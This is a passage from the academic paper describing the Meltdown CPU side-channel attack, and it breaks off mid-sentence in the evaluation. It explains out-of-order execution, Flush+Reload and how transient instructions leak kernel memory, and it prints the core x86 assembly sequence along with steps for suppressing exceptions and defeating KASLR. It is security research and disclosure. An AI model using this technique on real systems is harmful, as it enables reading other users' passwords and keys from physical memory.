that the processor’s out-of-order logic processes instruc-
tions before the CPU is certain whether the instruction
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will be needed and committed. In this paper, we refer
to speculative execution in a more restricted meaning,
where it refers to an instruction sequence following a
branch, and use the term out-of-order execution to refer
to any way of getting an operation executed before the
processor has committed the results of all prior instruc-
tions.

In 1967, Tomasulo [33] developed an algorithm [33]
that enabled dynamic scheduling of instructions to al-
low out-of-order execution. Tomasulo [33] introduced
a unified reservation station that allows a CPU to use
a data value as it has been computed instead of storing
it to a register and re-reading it. The reservation sta-
tion renames registers to allow instructions that operate
on the same physical registers to use the last logical one
to solve read-after-write (RAW), write-after-read (WAR)
and write-after-write (WAW) hazards. Furthermore, the
reservation unit connects all execution units via a com-
mon data bus (CDB). If an operand is not available, the
reservation unit can listen on the CDB until it is available
and then directly begin the execution of the instruction.

On the Intel architecture, the pipeline consists of the
front-end, the execution engine (back-end) and the mem-
ory subsystem [14]. x86 instructions are fetched by
the front-end from the memory and decoded to micro-
operations (µOPs) which are continuously sent to the ex-
ecution engine. Out-of-order execution is implemented
within the execution engine as illustrated in Figure 1.
The Reorder Buffer is responsible for register allocation,
register renaming and retiring. Additionally, other opti-
mizations like move elimination or the recognition of ze-
roing idioms are directly handled by the reorder buffer.
The µOPs are forwarded to the Unified Reservation Sta-
tion that queues the operations on exit ports that are con-
nected to Execution Units. Each execution unit can per-
form different tasks like ALU operations, AES opera-
tions, address generation units (AGU) or memory loads
and stores. AGUs as well as load and store execution
units are directly connected to the memory subsystem to
process its requests.

Since CPUs usually do not run linear instruction
streams, they have branch prediction units that are used
to obtain an educated guess of which instruction will be
executed next. Branch predictors try to determine which
direction of a branch will be taken before its condition
is actually evaluated. Instructions that lie on that path
and do not have any dependencies can be executed in ad-
vance and their results immediately used if the prediction
was correct. If the prediction was incorrect, the reorder
buffer allows to rollback by clearing the reorder buffer
and re-initializing the unified reservation station.

Various approaches to predict the branch exist: With
static branch prediction [12], the outcome of the branch
is solely based on the instruction itself. Dynamic branch
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Figure 1: Simplified illustration of a single core of the In-
tel’s Skylake microarchitecture. Instructions are decoded
into µOPs and executed out-of-order in the execution en-
gine by individual execution units.

prediction [2] gathers statistics at run-time to predict the
outcome. One-level branch prediction uses a 1-bit or 2-
bit counter to record the last outcome of the branch [21].
Modern processors often use two-level adaptive predic-
tors [36] that remember the history of the last n outcomes
allow to predict regularly recurring patterns. More re-
cently, ideas to use neural branch prediction [34, 18, 32]
have been picked up and integrated into CPU architec-
tures [3].

2.2 Address Spaces
To isolate processes from each other, CPUs support vir-
tual address spaces where virtual addresses are translated
to physical addresses. A virtual address space is divided
into a set of pages that can be individually mapped to
physical memory through a multi-level page translation
table. The translation tables define the actual virtual
to physical mapping and also protection properties that
are used to enforce privilege checks, such as readable,
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Figure 2: The physical memory is directly mapped in the
kernel at a certain offset. A physical address (blue) which
is mapped accessible for the user space is also mapped in
the kernel space through the direct mapping.

writable, executable and user-accessible. The currently
used translation table that is held in a special CPU reg-
ister. On each context switch, the operating system up-
dates this register with the next process’ translation table
address in order to implement per process virtual address
spaces. Because of that, each process can only reference
data that belongs to its own virtual address space. Each
virtual address space itself is split into a user and a kernel
part. While the user address space can be accessed by the
running application, the kernel address space can only be
accessed if the CPU is running in privileged mode. This
is enforced by the operating system disabling the user-
accessible property of the corresponding translation ta-
bles. The kernel address space does not only have mem-
ory mapped for the kernel’s own usage, but it also needs
to perform operations on user pages, e.g., filling them
with data. Consequently, the entire physical memory is
typically mapped in the kernel. On Linux and OS X, this
is done via a direct-physical map, i.e., the entire physi-
cal memory is directly mapped to a pre-defined virtual
address (cf. Figure 2).

Instead of a direct-physical map, Windows maintains
a multiple so-called paged pools, non-paged pools, and
the system cache. These pools are virtual memory re-
gions in the kernel address space mapping physical pages
to virtual addresses which are either required to remain
in the memory (non-paged pool) or can be removed from
the memory because a copy is already stored on the disk
(paged pool). The system cache further contains map-
pings of all file-backed pages. Combined, these memory
pools will typically map a large fraction of the physical
memory into the kernel address space of every process.

The exploitation of memory corruption bugs often re-
quires the knowledge of addresses of specific data. In
order to impede such attacks, address space layout ran-
domization (ASLR) has been introduced as well as non-
executable stacks and stack canaries. In order to protect
the kernel, KASLR randomizes the offsets where drivers
are located on every boot, making attacks harder as they
now require to guess the location of kernel data struc-
tures. However, side-channel attacks allow to detect the

exact location of kernel data structures [9, 13, 17] or de-
randomize ASLR in JavaScript [6]. A combination of a
software bug and the knowledge of these addresses can
lead to privileged code execution.

2.3 Cache Attacks

In order to speed-up memory accesses and address trans-
lation, the CPU contains small memory buffers, called
caches, that store frequently used data. CPU caches hide
slow memory access latencies by buffering frequently
used data in smaller and faster internal memory. Mod-
ern CPUs have multiple levels of caches that are either
private to its cores or shared among them. Address space
translation tables are also stored in memory and are also
cached in the regular caches.

Cache side-channel attacks exploit timing differences
that are introduced by the caches. Different cache attack
techniques have been proposed and demonstrated in the
past, including Evict+Time [28], Prime+Probe [28, 29],
and Flush+Reload [35]. Flush+Reload attacks work on
a single cache line granularity. These attacks exploit the
shared, inclusive last-level cache. An attacker frequently
flushes a targeted memory location using the clflush

instruction. By measuring the time it takes to reload the
data, the attacker determines whether data was loaded
into the cache by another process in the meantime. The
Flush+Reload attack has been used for attacks on various
computations, e.g., cryptographic algorithms [35, 16, 1],
web server function calls [37], user input [11, 23, 31],
and kernel addressing information [9].

A special use case are covert channels. Here the at-
tacker controls both, the part that induces the side effect,
and the part that measures the side effect. This can be
used to leak information from one security domain to an-
other, while bypassing any boundaries existing on the ar-
chitectural level or above. Both Prime+Probe and Flush+
Reload have been used in high-performance covert chan-
nels [24, 26, 10].

3 A Toy Example

In this section, we start with a toy example, a simple
code snippet, to illustrate that out-of-order execution can
change the microarchitectural state in a way that leaks
information. However, despite its simplicity, it is used as
a basis for Section 4 and Section 5, where we show how
this change in state can be exploited for an attack.

Listing 1 shows a simple code snippet first raising an
(unhandled) exception and then accessing an array. The
property of an exception is that the control flow does not
continue with the code after the exception, but jumps to
an exception handler in the operating system. Regardless
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1 raise_exception();

2 // the line below is never reached

3 access(probe_array[data * 4096]);

Listing 1: A toy example to illustrate side-effects of out-
of-order execution.
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Figure 3: If an executed instruction causes an exception,
diverting the control flow to an exception handler, the
subsequent instruction must not be executed anymore.
Due to out-of-order execution, the subsequent instruc-
tions may already have been partially executed, but not
retired. However, the architectural effects of the execu-
tion will be discarded.

of whether this exception is raised due to a memory ac-
cess, e.g., by accessing an invalid address, or due to any
other CPU exception, e.g., a division by zero, the control
flow continues in the kernel and not with the next user
space instruction.

Thus, our toy example cannot access the array in the-
ory, as the exception immediately traps to the kernel and
terminates the application. However, due to the out-of-
order execution, the CPU might have already executed
the following instructions as there is no dependency on
the exception. This is illustrated in Figure 3. Due to the
exception, the instructions executed out of order are not
retired and, thus, never have architectural effects.

Although the instructions executed out of order do not
have any visible architectural effect on registers or mem-
ory, they have microarchitectural side effects. During the
out-of-order execution, the referenced memory is fetched
into a register and is also stored in the cache. If the out-
of-order execution has to be discarded, the register and
memory contents are never committed. Nevertheless, the
cached memory contents are kept in the cache. We can
leverage a microarchitectural side-channel attack such
as Flush+Reload [35], which detects whether a specific
memory location is cached, to make this microarchitec-
tural state visible. There are other side channels as well
which also detect whether a specific memory location
is cached, including Prime+Probe [28, 24, 26], Evict+
Reload [23], or Flush+Flush [10]. However, as Flush+
Reload is the most accurate known cache side channel
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Figure 4: Even if a memory location is only accessed
during out-of-order execution, it remains cached. Iterat-
ing over the 256 pages of probe array shows one cache
hit, exactly on the page that was accessed during the out-
of-order execution.

and is simple to implement, we do not consider any other
side channel for this example.

Based on the value of data in this toy example, a dif-
ferent part of the cache is accessed when executing the
memory access out of order. As data is multiplied by
4096, data accesses to probe array are scattered over
the array with a distance of 4 kB (assuming an 1 B data
type for probe array). Thus, there is an injective map-
ping from the value of data to a memory page, i.e., there
are no two different values of data which result in an ac-
cess to the same page. Consequently, if a cache line of a
page is cached, we know the value of data. The spread-
ing over different pages eliminates false positives due to
the prefetcher, as the prefetcher cannot access data across
page boundaries [14].

Figure 4 shows the result of a Flush+Reload measure-
ment iterating over all pages, after executing the out-of-
order snippet with data = 84. Although the array ac-
cess should not have happened due to the exception, we
can clearly see that the index which would have been ac-
cessed is cached. Iterating over all pages (e.g., in the
exception handler) shows only a cache hit for page 84
This shows that even instructions which are never actu-
ally executed, change the microarchitectural state of the
CPU. Section 4 modifies this toy example to not read a
value, but to leak an inaccessible secret.

4 Building Blocks of the Attack

The toy example in Section 3 illustrated that side-effects
of out-of-order execution can modify the microarchitec-
tural state to leak information. While the code snippet
reveals the data value passed to a cache-side channel, we
want to show how this technique can be leveraged to leak
otherwise inaccessible secrets. In this section, we want
to generalize and discuss the necessary building blocks
to exploit out-of-order execution for an attack.

The adversary targets a secret value that is kept some-
where in physical memory. Note that register contents
are also stored in memory upon context switches, i.e.,
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Figure 5: The Meltdown attack uses exception handling
or suppression, e.g., TSX, to run a series of transient
instructions. These transient instructions obtain a (per-
sistent) secret value and change the microarchitectural
state of the processor based on this secret value. This
forms the sending part of a microarchitectural covert
channel. The receiving side reads the microarchitectural
state, making it architectural and recovering the secret
value.

they are also stored in physical memory. As described in
Section 2.2, the address space of every process typically
includes the entire user space, as well as the entire kernel
space, which typically also has all physical memory (in-
use) mapped. However, these memory regions are only
accessible in privileged mode (cf. Section 2.2).

In this work, we demonstrate leaking secrets by by-
passing the privileged-mode isolation, giving an attacker
full read access to the entire kernel space including any
physical memory mapped, including the physical mem-
ory of any other process and the kernel. Note that
Kocher et al. [19] pursue an orthogonal approach, called
Spectre Attacks, which trick speculative executed in-
structions into leaking information that the victim pro-
cess is authorized to access. As a result, Spectre Attacks
lack the privilege escalation aspect of Meltdown and re-
quire tailoring to the victim process’s software environ-
ment, but apply more broadly to CPUs that support spec-
ulative execution and are not stopped by KAISER.

The full Meltdown attack consists of two building
blocks, as illustrated in Figure 5. The first building block
of Meltdown is to make the CPU execute one or more
instructions that would never occur in the executed path.
In the toy example (cf. Section 3), this is an access to
an array, which would normally never be executed, as
the previous instruction always raises an exception. We
call such an instruction, which is executed out of order,
leaving measurable side effects, a transient instruction.

Furthermore, we call any sequence of instructions con-
taining at least one transient instruction a transient in-
struction sequence.

In order to leverage transient instructions for an attack,
the transient instruction sequence must utilize a secret
value that an attacker wants to leak. Section 4.1 describes
building blocks to run a transient instruction sequence
with a dependency on a secret value.

The second building block of Meltdown is to transfer
the microarchitectural side effect of the transient instruc-
tion sequence to an architectural state to further process
the leaked secret. Thus, the second building described
in Section 4.2 describes building blocks to transfer a mi-
croarchitectural side effect to an architectural state using
a covert channel.

4.1 Executing Transient Instructions
The first building block of Meltdown is the execution
of transient instructions. Transient instructions basically
occur all the time, as the CPU continuously runs ahead
of the current instruction to minimize the experienced
latency and thus maximize the performance (cf. Sec-
tion 2.1). Transient instructions introduce an exploitable
side channel if their operation depends on a secret value.
We focus on addresses that are mapped within the at-
tacker’s process, i.e., the user-accessible user space ad-
dresses as well as the user-inaccessible kernel space ad-
dresses. Note that attacks targeting code that is executed
within the context (i.e., address space) of another process
are possible [19], but out of scope in this work, since all
physical memory (including the memory of other pro-
cesses) can be read through the kernel address space any-
way.

Accessing user-inaccessible pages, such as kernel
pages, triggers an exception which generally terminates
the application. If the attacker targets a secret at a user-
inaccessible address, the attacker has to cope with this
exception. We propose two approaches: With excep-
tion handling, we catch the exception effectively occur-
ring after executing the transient instruction sequence,
and with exception suppression, we prevent the excep-
tion from occurring at all and instead redirect the control
flow after executing the transient instruction sequence.
We discuss these approaches in detail in the following.

Exception handling. A trivial approach is to fork the
attacking application before accessing the invalid mem-
ory location that terminates the process, and only access
the invalid memory location in the child process. The
CPU executes the transient instruction sequence in the
child process before crashing. The parent process can
then recover the secret by observing the microarchitec-
tural state, e.g., through a side-channel.
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It is also possible to install a signal handler that will
be executed if a certain exception occurs, in this specific
case a segmentation fault. This allows the attacker to
issue the instruction sequence and prevent the application
from crashing, reducing the overhead as no new process
has to be created.

Exception suppression. A different approach to deal
with exceptions is to prevent them from being raised in
the first place. Transactional memory allows to group
memory accesses into one seemingly atomic operation,
giving the option to roll-back to a previous state if an er-
ror occurs. If an exception occurs within the transaction,
the architectural state is reset, and the program execution
continues without disruption.

Furthermore, speculative execution issues instructions
that might not occur on the executed code path due to
a branch misprediction. Such instructions depending on
a preceding conditional branch can be speculatively ex-
ecuted. Thus, the invalid memory access is put within
a speculative instruction sequence that is only executed
if a prior branch condition evaluates to true. By making
sure that the condition never evaluates to true in the ex-
ecuted code path, we can suppress the occurring excep-
tion as the memory access is only executed speculatively.
This technique may require a sophisticated training of the
branch predictor. Kocher et al. [19] pursue this approach
in orthogonal work, since this construct can frequently
be found in code of other processes.

4.2 Building a Covert Channel
The second building block of Meltdown is the transfer
of the microarchitectural state, which was changed by
the transient instruction sequence, into an architectural
state (cf. Figure 5). The transient instruction sequence
can be seen as the sending end of a microarchitectural
covert channel. The receiving end of the covert channel
receives the microarchitectural state change and deduces
the secret from the state. Note that the receiver is not
part of the transient instruction sequence and can be a
different thread or even a different process e.g., the parent
process in the fork-and-crash approach.

We leverage techniques from cache attacks, as the
cache state is a microarchitectural state which can be re-
liably transferred into an architectural state using vari-
ous techniques [28, 35, 10]. Specifically, we use Flush+
Reload [35], as it allows to build a fast and low-noise
covert channel. Thus, depending on the secret value, the
transient instruction sequence (cf. Section 4.1) performs
a regular memory access, e.g., as it does in the toy exam-
ple (cf. Section 3).

After the transient instruction sequence accessed an
accessible address, i.e., this is the sender of the covert

channel; the address is cached for subsequent accesses.
The receiver can then monitor whether the address has
been loaded into the cache by measuring the access time
to the address. Thus, the sender can transmit a ‘1’-bit by
accessing an address which is loaded into the monitored
cache, and a ‘0’-bit by not accessing such an address.

Using multiple different cache lines, as in our toy ex-
ample in Section 3, allows to transmit multiple bits at
once. For every of the 256 different byte values, the
sender accesses a different cache line. By performing
a Flush+Reload attack on all of the 256 possible cache
lines, the receiver can recover a full byte instead of just
one bit. However, since the Flush+Reload attack takes
much longer (typically several hundred cycles) than the
transient instruction sequence, transmitting only a single
bit at once is more efficient. The attacker can simply do
that by shifting and masking the secret value accordingly.

Note that the covert channel is not limited to microar-
chitectural states which rely on the cache. Any microar-
chitectural state which can be influenced by an instruc-
tion (sequence) and is observable through a side channel
can be used to build the sending end of a covert channel.
The sender could, for example, issue an instruction (se-
quence) which occupies a certain execution port such as
the ALU to send a ‘1’-bit. The receiver measures the la-
tency when executing an instruction (sequence) on the
same execution port. A high latency implies that the
sender sends a ‘1’-bit, whereas a low latency implies
that sender sends a ‘0’-bit. The advantage of the Flush+
Reload cache covert channel is the noise resistance and
the high transmission rate [10]. Furthermore, the leakage
can be observed from any CPU core [35], i.e., reschedul-
ing events do not significantly affect the covert channel.

5 Meltdown

In this section, present Meltdown, a powerful attack
allowing to read arbitrary physical memory from an
unprivileged user program, comprised of the building
blocks presented in Section 4. First, we discuss the attack
setting to emphasize the wide applicability of this attack.
Second, we present an attack overview, showing how
Meltdown can be mounted on both Windows and Linux
on personal computers as well as in the cloud. Finally,
we discuss a concrete implementation of Meltdown al-
lowing to dump kernel memory with up to 503 KB/s.

Attack setting. In our attack, we consider personal
computers and virtual machines in the cloud. In the
attack scenario, the attacker has arbitrary unprivileged
code execution on the attacked system, i.e., the attacker
can run any code with the privileges of a normal user.
However, the attacker has no physical access to the ma-
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1 ; rcx = kernel address

2 ; rbx = probe array

3 retry:

4 mov al, byte [rcx]

5 shl rax, 0xc

6 jz retry

7 mov rbx, qword [rbx + rax]

Listing 2: The core instruction sequence of Meltdown.
An inaccessible kernel address is moved to a register,
raising an exception. The subsequent instructions are
already executed out of order before the exception is
raised, leaking the content of the kernel address through
the indirect memory access.

chine. Further, we assume that the system is fully pro-
tected with state-of-the-art software-based defenses such
as ASLR and KASLR as well as CPU features like
SMAP, SMEP, NX, and PXN. Most importantly, we as-
sume a completely bug-free operating system, thus, no
software vulnerability exists that can be exploited to gain
kernel privileges or leak information. The attacker tar-
gets secret user data, e.g., passwords and private keys, or
any other valuable information.

5.1 Attack Description

Meltdown combines the two building blocks discussed
in Section 4. First, an attacker makes the CPU execute
a transient instruction sequence which uses an inacces-
sible secret value stored somewhere in physical memory
(cf. Section 4.1). The transient instruction sequence acts
as the transmitter of a covert channel (cf. Section 4.2),
ultimately leaking the secret value to the attacker.

Meltdown consists of 3 steps:
Step 1 The content of an attacker-chosen memory loca-

tion, which is inaccessible to the attacker, is loaded
into a register.

Step 2 A transient instruction accesses a cache line
based on the secret content of the register.

Step 3 The attacker uses Flush+Reload to determine the
accessed cache line and hence the secret stored at the
chosen memory location.

By repeating these steps for different memory locations,
the attacker can dump the kernel memory, including the
entire physical memory.

Listing 2 shows the basic implementation of the tran-
sient instruction sequence and the sending part of the
covert channel, using x86 assembly instructions. Note
that this part of the attack could also be implemented en-
tirely in higher level languages like C. In the following,
we will discuss each step of Meltdown and the corre-
sponding code line in Listing 2.

Step 1: Reading the secret. To load data from the
main memory into a register, the data in the main mem-
ory is referenced using a virtual address. In parallel to
translating a virtual address into a physical address, the
CPU also checks the permission bits of the virtual ad-
dress, i.e., whether this virtual address is user accessible
or only accessible by the kernel. As already discussed in
Section 2.2, this hardware-based isolation through a per-
mission bit is considered secure and recommended by the
hardware vendors. Hence, modern operating systems al-
ways map the entire kernel into the virtual address space
of every user process.

As a consequence, all kernel addresses lead to a valid
physical address when translating them, and the CPU can
access the content of such addresses. The only differ-
ence to accessing a user space address is that the CPU
raises an exception as the current permission level does
not allow to access such an address. Hence, the user
space cannot simply read the contents of such an address.
However, Meltdown exploits the out-of-order execution
of modern CPUs, which still executes instructions in the
small time window between the illegal memory access
and the raising of the exception.

In line 4 of Listing 2, we load the byte value located
at the target kernel address, stored in the RCX register,
into the least significant byte of the RAX register repre-
sented by AL. As explained in more detail in Section 2.1,
the MOV instruction is fetched by the core, decoded into
µOPs, allocated, and sent to the reorder buffer. There, ar-
chitectural registers (e.g., RAX and RCX in Listing 2) are
mapped to underlying physical registers enabling out-of-
order execution. Trying to utilize the pipeline as much as
possible, subsequent instructions (lines 5-7) are already
decoded and allocated as µOPs as well. The µOPs are
further sent to the reservation station holding the µOPs
while they wait to be executed by the corresponding ex-
ecution unit. The execution of a µOP can be delayed if
execution units are already used to their corresponding
capacity or operand values have not been calculated yet.

When the kernel address is loaded in line 4, it is likely
that the CPU already issued the subsequent instructions
as part of the out-or-order execution, and that their cor-
responding µOPs wait in the reservation station for the
content of the kernel address to arrive. As soon as the
fetched data is observed on the common data bus, the
µOPs can begin their execution.

When the µOPs finish their execution, they retire in-
order, and, thus, their results are committed to the archi-
tectural state. During the retirement, any interrupts and
exception that occurred during the execution of the in-
struction are handled. Thus, if the MOV instruction that
loads the kernel address is retired, the exception is reg-
istered and the pipeline is flushed to eliminate all results
of subsequent instructions which were executed out of
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order. However, there is a race condition between raising
this exception and our attack step 2 which we describe
below.

As reported by Gruss et al. [9], prefetching kernel ad-
dresses sometimes succeeds. We found that prefetching
the kernel address can slightly improve the performance
of the attack on some systems.

Step 2: Transmitting the secret. The instruction se-
quence from step 1 which is executed out of order has to
be chosen in a way that it becomes a transient instruction
sequence. If this transient instruction sequence is exe-
cuted before the MOV instruction is retired (i.e., raises the
exception), and the transient instruction sequence per-
formed computations based on the secret, it can be uti-
lized to transmit the secret to the attacker.

As already discussed, we utilize cache attacks that al-
low to build fast and low-noise covert channel using the
CPU’s cache. Thus, the transient instruction sequence
has to encode the secret into the microarchitectural cache
state, similarly to the toy example in Section 3.

We allocate a probe array in memory and ensure that
no part of this array is cached. To transmit the secret, the
transient instruction sequence contains an indirect mem-
ory access to an address which is calculated based on the
secret (inaccessible) value. In line 5 of Listing 2 the se-
cret value from step 1 is multiplied by the page size, i.e.,
4 KB. The multiplication of the secret ensures that ac-
cesses to the array have a large spatial distance to each
other. This prevents the hardware prefetcher from load-
ing adjacent memory locations into the cache as well.
Here, we read a single byte at once, hence our probe ar-
ray is 256×4096 bytes, assuming 4 KB pages.

Note that in the out-of-order execution we have a
noise-bias towards register value ‘0’. We discuss the rea-
sons for this in Section 5.2. However, for this reason, we
introduce a retry-logic into the transient instruction se-
quence. In case we read a ‘0’, we try to read the secret
again (step 1). In line 7, the multiplied secret is added to
the base address of the probe array, forming the target ad-
dress of the covert channel. This address is read to cache
the corresponding cache line. Consequently, our tran-
sient instruction sequence affects the cache state based
on the secret value that was read in step 1.

Since the transient instruction sequence in step 2 races
against raising the exception, reducing the runtime of
step 2 can significantly improve the performance of the
attack. For instance, taking care that the address trans-
lation for the probe array is cached in the TLB increases
the attack performance on some systems.

Step 3: Receiving the secret. In step 3, the attacker
recovers the secret value (step 1) by leveraging a mi-
croarchitectural side-channel attack (i.e., the receiving

end of a microarchitectural covert channel) that transfers
the cache state (step 2) back into an architectural state.
As discussed in Section 4.2, Meltdown relies on Flush+
Reload to transfer the cache state into an architectural
state.

When the transient instruction sequence of step 2 is
executed, exactly one cache line of the probe array is
cached. The position of the cached cache line within the
probe array depends only on the secret which is read in
step 1. Thus, the attacker iterates over all 256 pages of
the probe array and measures the access time for every
first cache line (i.e., offset) on the page. The number of
the page containing the cached cache line corresponds
directly to the secret value.

Dumping the entire physical memory. By repeating
all 3 steps of Meltdown, the attacker can dump the entire
memory by iterating over all different addresses. How-
ever, as the memory access to the kernel address raises an
exception that terminates the program, we use one of the
methods described in Section 4.1 to handle or suppress
the exception.

As all major operating systems also typically map the
entire physical memory into the kernel address space
(cf. Section 2.2) in every user process, Meltdown is not
only limited to reading kernel memory but it is capable
of reading the entire physical memory of the target ma-
chine.

5.2 Optimizations and Limitations

The case of 0. If the exception is triggered while trying
to read from an inaccessible kernel address, the register
where the data should be stored, appears to be zeroed out.
This is reasonable because if the exception is unhandled,
the user space application is terminated, and the value
from the inaccessible kernel address could be observed
in the register contents stored in the core dump of the
crashed process. The direct solution to fix this problem
is to zero out the corresponding registers. If the zeroing
out of the register is faster than the execution of the sub-
sequent instruction (line 5 in Listing 2), the attacker may
read a false value in the third step. To prevent the tran-
sient instruction sequence from continuing with a wrong
value, i.e., ‘0’, Meltdown retries reading the address until
it encounters a value different from ‘0’ (line 6). As the
transient instruction sequence terminates after the excep-
tion is raised, there is no cache access if the secret value
is 0. Thus, Meltdown assumes that the secret value is
indeed ‘0’ if there is no cache hit at all.

The loop is terminated by either the read value not be-
ing ‘0’ or by the raised exception of the invalid mem-
ory access. Note that this loop does not slow down
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the attack measurably, since, in either case, the proces-
sor runs ahead of the illegal memory access, regardless
of whether ahead is a loop or ahead is a linear control
flow. In either case, the time until the control flow re-
turned from exception handling or exception suppression
remains the same with and without this loop. Thus, cap-
turing read ‘0’s beforehand and recovering early from a
lost race condition vastly increases the reading speed.

Single-bit transmission In the attack description in
Section 5.1, the attacker transmitted 8 bits through the
covert channel at once and performed 28 = 256 Flush+
Reload measurements to recover the secret. However,
there is a clear trade-off between running more tran-
sient instruction sequences and performing more Flush+
Reload measurements. The attacker could transmit an
arbitrary number of bits in a single transmission through
the covert channel, by either reading more bits using a
MOV instruction for a larger data value. Furthermore, the
attacker could mask bits using additional instructions in
the transient instruction sequence. We found the number
of additional instructions in the transient instruction se-
quence to have a negligible influence on the performance
of the attack.

The performance bottleneck in the generic attack de-
scription above is indeed, the time spent on Flush+
Reload measurements. In fact, with this implementation,
almost the entire time will be spent on Flush+Reload
measurements. By transmitting only a single bit, we
can omit all but one Flush+Reload measurement, i.e., the
measurement on cache line 1. If the transmitted bit was
a ‘1’, then we observe a cache hit on cache line 1. Oth-
erwise, we observe no cache hit on cache line 1.

Transmitting only a single bit at once also has draw-
backs. As described above, our side channel has a bias
towards a secret value of ‘0’. If we read and transmit
multiple bits at once, the likelihood that all bits are ‘0’
may quite small for actual user data. The likelihood that
a single bit is ‘0’ is typically close to 50 %. Hence, the
number of bits read and transmitted at once is a trade-
off between some implicit error-reduction and the overall
transmission rate of the covert channel.

However, since the error rates are quite small in either
case, our evaluation (cf. Section 6) is based on the single-
bit transmission mechanics.

Exception Suppression using Intel TSX. In Sec-
tion 4.1, we discussed the option to prevent that an ex-
ception is raised due an invalid memory access in the first
place. Using Intel TSX, a hardware transactional mem-
ory implementation, we can completely suppress the ex-
ception [17].

With Intel TSX, multiple instructions can be grouped
to a transaction, which appears to be an atomic opera-

tion, i.e., either all or no instruction is executed. If one
instruction within the transaction fails, already executed
instructions are reverted, but no exception is raised.

If we wrap the code from Listing 2 with such a TSX
instruction, any exception is suppressed. However, the
microarchitectural effects are still visible, i.e., the cache
state is persistently manipulated from within the hard-
ware transaction [7]. This results in a higher channel ca-
pacity, as suppressing the exception is significantly faster
than trapping into the kernel for handling the exception,
and continuing afterwards.

Dealing with KASLR. In 2013, kernel address space
layout randomization (KASLR) had been introduced to
the Linux kernel (starting from version 3.14 [4]) allow-
ing to randomize the location of the kernel code at boot
time. However, only as recently as May 2017, KASLR
had been enabled by default in version 4.12 [27]. With
KASLR also the direct-physical map is randomized and,
thus, not fixed at a certain address such that the attacker
is required to obtain the randomized offset before mount-
ing the Meltdown attack. However, the randomization is
limited to 40 bit.

Thus, if we assume a setup of the target machine with
8 GB of RAM, it is sufficient to test the address space
for addresses in 8 GB steps. This allows to cover the
search space of 40 bit with only 128 tests in the worst
case. If the attacker can successfully obtain a value
from a tested address, the attacker can proceed dump-
ing the entire memory from that location. This allows to
mount Meltdown on a system despite being protected by
KASLR within seconds.

6 Evaluation

In this section, we evaluate Meltdown and the perfor-
mance of our proof-of-concept implementation 2. Sec-
tion 6.1 discusses the information which Meltdown can
leak, and Section 6.2 evaluates the performance of Melt-
down, including countermeasures. Finally, we discuss
limitations for AMD and ARM in Section 6.4.

Table 1 shows a list of configurations on which we
successfully reproduced Meltdown. For the evaluation of
Meltdown, we used both laptops as well as desktop PCs
with Intel Core CPUs. For the cloud setup, we tested
Meltdown in virtual machines running on Intel Xeon
CPUs hosted in the Amazon Elastic Compute Cloud as
well as on DigitalOcean. Note that for ethical reasons we
did not use Meltdown on addresses referring to physical
memory of other tenants.

2https://github.com/IAIK/meltdown
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Table 1: Experimental setups.

Environment CPU model Cores

Lab Celeron G540 2
Lab Core i5-3230M 2
Lab Core i5-3320M 2
Lab Core i7-4790 4
Lab Core i5-6200U 2
Lab Core i7-6600U 2
Lab Core i7-6700K 4

Cloud Xeon E5-2676 v3 12
Cloud Xeon E5-2650 v4 12

6.1 Information Leakage and Environ-
ments

We evaluated Meltdown on both Linux (cf. Section 6.1.1)
and Windows 10 (cf. Section 6.1.3). On both operating
systems, Meltdown can successfully leak kernel mem-
ory. Furthermore, we also evaluated the effect of the
KAISER patches on Meltdown on Linux, to show that
KAISER prevents the leakage of kernel memory (cf. Sec-
tion 6.1.2). Finally, we discuss the information leakage
when running inside containers such as Docker (cf. Sec-
tion 6.1.4).

6.1.1 Linux

We successfully evaluated Meltdown on multiple ver-
sions of the Linux kernel, from 2.6.32 to 4.13.0. On
all these versions of the Linux kernel, the kernel address
space is also mapped into the user address space. Thus,
all kernel addresses are also mapped into the address
space of user space applications, but any access is pre-
vented due to the permission settings for these addresses.
As Meltdown bypasses these permission settings, an at-
tacker can leak the complete kernel memory if the vir-
tual address of the kernel base is known. Since all major
operating systems also map the entire physical memory
into the kernel address space (cf. Section 2.2), all physi-
cal memory can also be read.

Before kernel 4.12, kernel address space layout ran-
domization (KASLR) was not active by default [30]. If
KASLR is active, Meltdown can still be used to find the
kernel by searching through the address space (cf. Sec-
tion 5.2). An attacker can also simply de-randomize the
direct-physical map by iterating through the virtual ad-
dress space. Without KASLR, the direct-physical map
starts at address 0xffff 8800 0000 0000 and linearly
maps the entire physical memory. On such systems, an
attacker can use Meltdown to dump the entire physical
memory, simply by reading from virtual addresses start-
ing at 0xffff 8800 0000 0000.

On newer systems, where KASLR is active by default,
the randomization of the direct-physical map is limited
to 40 bit. It is even further limited due to the linearity of
the mapping. Assuming that the target system has at least
8 GB of physical memory, the attacker can test addresses
in steps of 8 GB, resulting in a maximum of 128 memory
locations to test. Starting from one discovered location,
the attacker can again dump the entire physical memory.

Hence, for the evaluation, we can assume that the ran-
domization is either disabled, or the offset was already
retrieved in a pre-computation step.

6.1.2 Linux with KAISER Patch

The KAISER patch by Gruss et al. [8] implements
a stronger isolation between kernel and user space.
KAISER does not map any kernel memory in the user
space, except for some parts required by the x86 archi-
tecture (e.g., interrupt handlers). Thus, there is no valid
mapping to either kernel memory or physical memory
(via the direct-physical map) in the user space, and such
addresses can therefore not be resolved. Consequently,
Meltdown cannot leak any kernel or physical memory
except for the few memory locations which have to be
mapped in user space.

We verified that KAISER indeed prevents Meltdown,
and there is no leakage of any kernel or physical memory.

Furthermore, if KASLR is active, and the few re-
maining memory locations are randomized, finding these
memory locations is not trivial due to their small size of
several kilobytes. Section 7.2 discusses the implications
of these mapped memory locations from a security per-
spective.

6.1.3 Microsoft Windows

We successfully evaluated Meltdown on an up-to-date
Microsoft Windows 10 operating system. In line with
the results on Linux (cf. Section 6.1.1), Meltdown also
can leak arbitrary kernel memory on Windows. This is
not surprising, since Meltdown does not exploit any soft-
ware issues, but is caused by a hardware issue.

In contrast to Linux, Windows does not have the con-
cept of an identity mapping, which linearly maps the
physical memory into the virtual address space. Instead,
a large fraction of the physical memory is mapped in
the paged pools, non-paged pools, and the system cache.
Furthermore, Windows maps the kernel into the address
space of every application too. Thus, Meltdown can read
kernel memory which is mapped in the kernel address
space, i.e., any part of the kernel which is not swapped
out, and any page mapped in the paged and non-paged
pool, and the system cache.
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Note that there likely are physical pages which are
mapped in one process but not in the (kernel) address
space of another process, i.e., physical pages which can-
not be attacked using Meltdown. However, most of the
physical memory will still be accessible through Melt-
down.

We were successfully able to read the binary of the
Windows kernel using Meltdown. To verify that the
leaked data is actual kernel memory, we first used the
